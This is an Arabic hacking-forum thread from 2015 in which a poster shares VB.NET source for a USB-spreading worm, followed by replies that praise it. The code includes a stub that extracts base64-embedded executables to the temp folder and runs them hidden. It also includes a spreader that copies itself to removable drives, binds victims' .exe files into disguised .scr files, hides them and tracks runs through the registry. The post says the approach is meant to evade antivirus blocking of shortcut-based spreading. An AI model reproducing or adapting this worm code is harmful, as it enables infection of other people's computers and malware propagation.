1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ شرح ] كود جديد في انتشار اليو أس بي بصيغة s c r

الموضوع في 'حماية الأجهزة' بواسطة ✶ s c я є α м, بتاريخ ‏19 مايو 2015.

كاتب الموضوع : ✶ s c я є α м المشاهدات : 788 الردود : 14 ‏19 مايو 2015
حالة الموضوع:
مغلق
  1. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    766
    نقاط الجائزة:
    الإقامة:

    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]




    ---------------------------------------------


    السلام عليكم ورحمة الله وبركاته {1!$1}


    أقدم لكم طريقة في أنتشار اليو أس بي


    نعرف ان الحمايات عملت مضاد لـ الانتشارات التي تحمل ملفات link في الفلاشه


    يعني حتى لو اللنك نضيف الحمايه تعتبرو فيروس !! ومن سلبيات اختصارات اللنك في الفلاشه ان المستخدم لو نقل ملف مصاب من الفلاشه وارسله لصاحبه في السكاي بي مثلا راح يوصله اختصار بدون سيرفر يعني هنا يوقف الانتشار !!


    :lolًٌُ:ٌ


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]







    St
    [C#]Public Class Form1
    Dim x, xx, xxx As String
    Dim CQ() As String
    Public Function GetRandom(ByVal Min As Integer, ByVal Max As Integer) As Integer
    Static Generator As System.Random = New System.Random()
    Return Generator.Next(Min, Max)
    End Function
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    Me.TransparencyKey = BackColor
    Me.Hide()
    Me.ShowInTaskbar = False
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    x = Space(LOF(1))
    xx = Space(LOF(1))
    xxx = Space(LOF(1))
    FileGet(1, x)
    FileGet(1, xx)
    FileGet(1, xxx)
    CQ = Split(x, "qwert")
    Dim severname As String = GetRandom(0, 99999999)
    Dim progrname As String = GetRandom(0, 99999999)
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & severname & ".exe", Convert.FromBase64String(CQ(1)))
    IO.File.WriteAllBytes(IO.Path.GetTempPath & "\" & progrname & ".exe", Convert.FromBase64String(CQ(2)))
    Process.Start(IO.Path.GetTempPath & "\" & severname & ".exe")
    Process.Start(IO.Path.GetTempPath & "\" & progrname & ".exe")
    End
    End Sub
    Private Sub Form1_Activated(sender As Object, e As EventArgs) Handles MyBase.Activated
    Me.Visible = False
    Me.Hide()
    End Sub
    End Class
    [/C#]








    ---------------------------------------------






    S C


    [C#]Imports System.IO
    Public Class Form1
    Dim y As String = "qwert"
    Public STUB As String
    Dim O1, O2 As New OpenFileDialog
    Dim text1 As String
    Dim text2 As String
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    On Error Resume Next
    Timer1.Enabled = True
    '###############################################
    Timer2.Enabled = True
    End Sub
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    On Error Resume Next
    Dim str As String
    For Each str In Directory.GetFiles((Application.StartupPath & ""), "*.exe")
    text1 = str
    text2 = Text + "Virose111111.scr" '
    Next
    '###############################################
    Dim AA As String = "C:\Worme\d.S C R E A M"
    O1.FileName = text1
    O2.FileName = text2
    If O1.FileName.Length > 0 And O2.FileName.Length > 0 Then
    Dim server, program As String
    server = Convert.ToBase64String(IO.File.ReadAllBytes(O1.FileName))
    program = Convert.ToBase64String(IO.File.ReadAllBytes(O2.FileName))
    FileOpen(1, AA, OpenMode.Binary)
    FilePut(1, My.Resources.Worms_Stub)
    FilePut(1, y & server) ' 1
    FilePut(1, y & program)
    FileClose(1)
    IO.File.Delete(text1)
    text1 = text1.Replace(Text, " ").Trim()
    File.Move("C:\Worme\d.S C R E A M", Text + text1 + ".scr")
    End If
    End Sub


    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
    '###############################################
    On Error Resume Next
    System.IO.Directory.CreateDirectory("C:\Worme")
    For Each xz In IO.DriveInfo.GetDrives
    If xz.DriveType = IO.DriveType.Removable Then
    Text = xz.Name


    '###############################################
    For Each Section7 In IO.DriveInfo.GetDrives
    Dim Section6 As String = Section7.ToString & ",", Section5 As String() = Split(Section6, ",")
    Dim exe0 As String = ("Virose111111.scr")
    For Section4 = 0 To Section5.Rank - 1
    IO.File.Copy(Application.ExecutablePath, Section5(Section4) & exe0, True)
    Next
    Next
    '###############################################
    Dim T As Boolean
    T = False
    Dim RegX As Microsoft.Win32.RegistryKey
    RegX = Microsoft.Win32.Registry.CurrentUser
    Dim S As String() = RegX.GetSubKeyNames
    For Each A As String In S
    If A = "scream" Then
    T = True
    End If
    Next
    If T = True Then
    RegX = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("scream", True)
    Dim x As Integer = RegX.GetValue("val")
    x = x + 1 '+
    RegX.SetValue("val", x)
    If x = 2 Or x > 2 Then
    Timer2.Enabled = False
    Process.Start(Text + "Virose111111.scr")
    System.IO.File.SetAttributes(Text + "Virose111111.scr", IO.FileAttributes.Hidden)
    If x = 2 Or x > 2 Then Microsoft.Win32.Registry.CurrentUser.DeleteSubKey("scream")
    If x = 1 Or x > 1 Then End
    End If
    Else
    RegX = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("scream")
    RegX.SetValue("val", 1)
    End If
    '###############################################
    Timer2.Enabled = False
    Else
    Timer2.Enabled = True
    End If


    Next
    End Sub
    End Class
    [/C#]



    =============================

    الكود يستهدف الملفات exe التنفيذيه فقط
    الانتشار راح يكون بصيغة Scr
     


    1 person likes this.
    جاري تحميل الصفحة...
  2. غير متصل

    Mohmaed .:: super ::.
    V • I • P

    عضو منذ:
    ‏12 ابريل 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    949
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك حبيبي
     


  3. غير متصل

    Reco_X
    rank
    Developer

    عضو منذ:
    ‏16 مايو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    يعطيك العافية يا غالى
     


  4. غير متصل

    أبو ريتاج
    rank
    Developer

    عضو منذ:
    ‏8 ابريل 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الوظيفة:
    مبرمج تطبيقات ويندوز بالغة السي شارب ومطور ومبرمج
    الإقامة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    شكرا اخي الكريم
    بارك الله فيك
     


  5. غير متصل

    OsAmA-DZ
    rank
    Developer

    عضو منذ:
    ‏6 ديسمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..
     


  6. غير متصل

    جوني العراقي
    V • I • P

    عضو منذ:
    ‏10 يناير 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    47
    نقاط الجائزة:
    الوظيفة:
    حلاق
    الإقامة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    وعليكم سلام ورحمة الله وبركاتة
    بارك الله بيك صديقي مواضيعك كله ذهبية
     


  7. غير متصل

    ✶ s c я є α м Developer SpyNote

    عضو منذ:
    ‏23 ديسمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    766
    نقاط الجائزة:
    الإقامة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    اهلا وسهلا فيكم منورين الموضوع جميــعا حبايب قلبي ^_^
     


  8. غير متصل

    سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    الوظيفة:
    ماكسي مول
    الإقامة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    بآرك آلله فيــك ، آبدعـت آخي آلكريمَ ..


    :{17}:
     


  9. غير متصل

    حازم مشكله
    V • I • P

    عضو منذ:
    ‏26 مارس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    28
    نقاط الجائزة:
    الجنس:
    ذكر

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    عاشت ايدك يا بطل استمر
     


  10. غير متصل

    |||ZA!KI|||
    rank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏19 مايو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    رد: كود جديد في انتشار اليو أس بي بصيغة s c r

    ابداع فابداع سلمت ايديك :{14}:
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...